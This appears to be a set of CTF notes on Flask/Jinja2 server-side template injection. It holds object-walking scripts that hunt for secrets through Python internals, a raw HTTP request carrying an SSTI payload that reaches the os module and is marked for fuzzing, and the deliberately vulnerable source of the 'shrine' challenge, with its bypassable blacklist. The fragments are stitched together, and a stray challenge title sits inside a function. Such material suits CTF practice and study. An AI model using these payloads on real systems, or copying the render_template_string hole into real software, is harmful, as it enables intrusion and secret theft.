app = flask.Flask(__name__)
app.config['secret'] = 'my_secret'

class search:
    def __init__(self, depth, keyword, keyword_type):
        self.visited_class = []
        self.visited_object = []
        self.result_dict = {}
        self.depth = depth
        self.keyword = keyword
        self.keyword_type = keyword_type

    def visit(self, obj, depth, path):

        if depth == self.depth:
            return None
        if str(self.keyword) in str(obj):
            if self.keyword_type:
                if type(self.keyword) == type(obj):
                    self.result_dict[path] = str(obj)
            else:
                self.result_dict[path] = str(obj)
        elif isinstance(obj, (int, float, bool, str, bytes)):
            if str(self.keyword) in str(obj):
                if self.keyword_type:
                    if type(self.keyword) == type(obj):
                        self.result_dict[path] = str(obj)
                else:
                    self.result_dict[path] = str(obj)
        elif isinstance(obj, type):
            if obj in self.visited_class:
                return None
            self.visited_class.append(obj)
        else:
            if obj in self.visited_object:
                return None
            self.visited_object.append(obj)

        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in ('__globals__', '__class__', '__self__', '__init__', '__base__',
                                '__weakref__', '__objclass__', '__module__'):
                    continue
            name_attr = getattr(obj, name)
            if str(self.keyword) in str(name_attr):
                if self.keyword_type:
                    if type(self.keyword) == type(name_attr):
                        self.result_dict['{}.{}'.format(path, name)] = str(name_attr)
                else:
                    self.result_dict['{}.{}'.format(path, name)] = str(name_attr)
            self.visit(name_attr, depth + 1, '{}.{}'.format(path, name))

        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    if str(self.keyword) in str(v):
                        if self.keyword_type:
                            if type(self.keyword) == type(v):
                                self.result_dict['{}.{}'.format(path, k)] = str(v)
                        else:
                            self.result_dict['{}.{}'.format(path, k)] = str(v)
                    self.visit(v, depth + 1, '{}.{}'.format(path, k))



            except:
                pass

        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                if str(self.keyword) in str(v):
                    if self.keyword_type:
                        if type(self.keyword) == type(v):
                            self.result_dict['{}[{}]'.format(path, repr(i))] = str(v)
                    else:
                        self.result_dict['{}[{}]'.format(path, repr(i))] = str(v)
                self.visit(v, depth + 1, '{}[{}]'.format(path, repr(i)))

    def get_search_result(self):
        return self.result_dict

@app.route('/')
def search_function():
    search_class = search(10, 'my_secret', False)
    search_class.visit(session, 0, 'request')
    return escape(str(search_class.get_search_result()))

if __name__ == '__main__':
    app.run(debug=True, port=8887)
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import flask
import json
import os
from flask import request
from html import escape
from flask import g
from flask import session
from flask import url_for
from flask import config

app = flask.Flask(__name__)
app.config['secret'] = 'flag123'
glob_secret = 'flag123'

class search:
    def __init__(self, depth, keyword, keyword_type):
        self.visited_class = []
        self.visited_object = []
        self.result_dict = {}
        self.depth = depth
        self.keyword = keyword
        self.keyword_type = keyword_type

    def visit(self, obj, depth, path):

        if depth == self.depth:
            return None
        if str(self.keyword) in str(obj):
            if self.keyword_type:
                if type(self.keyword) == type(obj):
                    self.result_dict[path] = str(obj)
            else:
                self.result_dict[path] = str(obj)
        elif isinstance(obj, (int, float, bool, str, bytes)):
            if str(self.keyword) in str(obj):
                if self.keyword_type:



                    if type(self.keyword) == type(obj):
                        self.result_dict[path] = str(obj)
                else:
                    self.result_dict[path] = str(obj)
        elif isinstance(obj, type):
            if obj in self.visited_class:
                return None
            self.visited_class.append(obj)
        else:
            if obj in self.visited_object:
                return None
            self.visited_object.append(obj)

        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in ('__globals__', '__class__', '__self__', '__init__', '__base__',
                                '__weakref__', '__objclass__', '__module__'):
                    continue
            name_attr = getattr(obj, name)
            if str(self.keyword) in str(name_attr):
                if self.keyword_type:
                    if type(self.keyword) == type(name_attr):
                        self.result_dict['{}.{}'.format(path, name)] = str(name_attr)
                else:
                    self.result_dict['{}.{}'.format(path, name)] = str(name_attr)
            self.visit(name_attr, depth + 1, '{}.{}'.format(path, name))

        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    if str(self.keyword) in str(v):
                        if self.keyword_type:
                            if type(self.keyword) == type(v):
                                self.result_dict['{}.{}'.format(path, k)] = str(v)
                        else:
                            self.result_dict['{}.{}'.format(path, k)] = str(v)
                    self.visit(v, depth + 1, '{}.{}'.format(path, k))
            except:
                pass

        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                if str(self.keyword) in str(v):
                    if self.keyword_type:
                        if type(self.keyword) == type(v):
                            self.result_dict['{}[{}]'.format(path, repr(i))] = str(v)
                    else:
                        self.result_dict['{}[{}]'.format(path, repr(i))] = str(v)
                self.visit(v, depth + 1, '{}[{}]'.format(path, repr(i)))

    def get_search_result(self):
        return self.result_dict

@app.route('/')
def search_function():
    search_class = search(5, 'flag123', False)
    search_class.visit(request, 0, 'request')
    return escape(str(search_class.get_search_result()))

if __name__ == '__main__':
    app.run(debug=True, port=8887)
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GET /?name={{%27%27.__class__.__base__.__subclasses__()[§1§].__init__.__globals__['os']}} HTTP/1.1
Host: 9bd1b45a-5ca7-40e8-8a66-c5774beb3dd0.node3.buuoj.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;
v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
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import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):

[WesternCTF2018]shrine 



        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)
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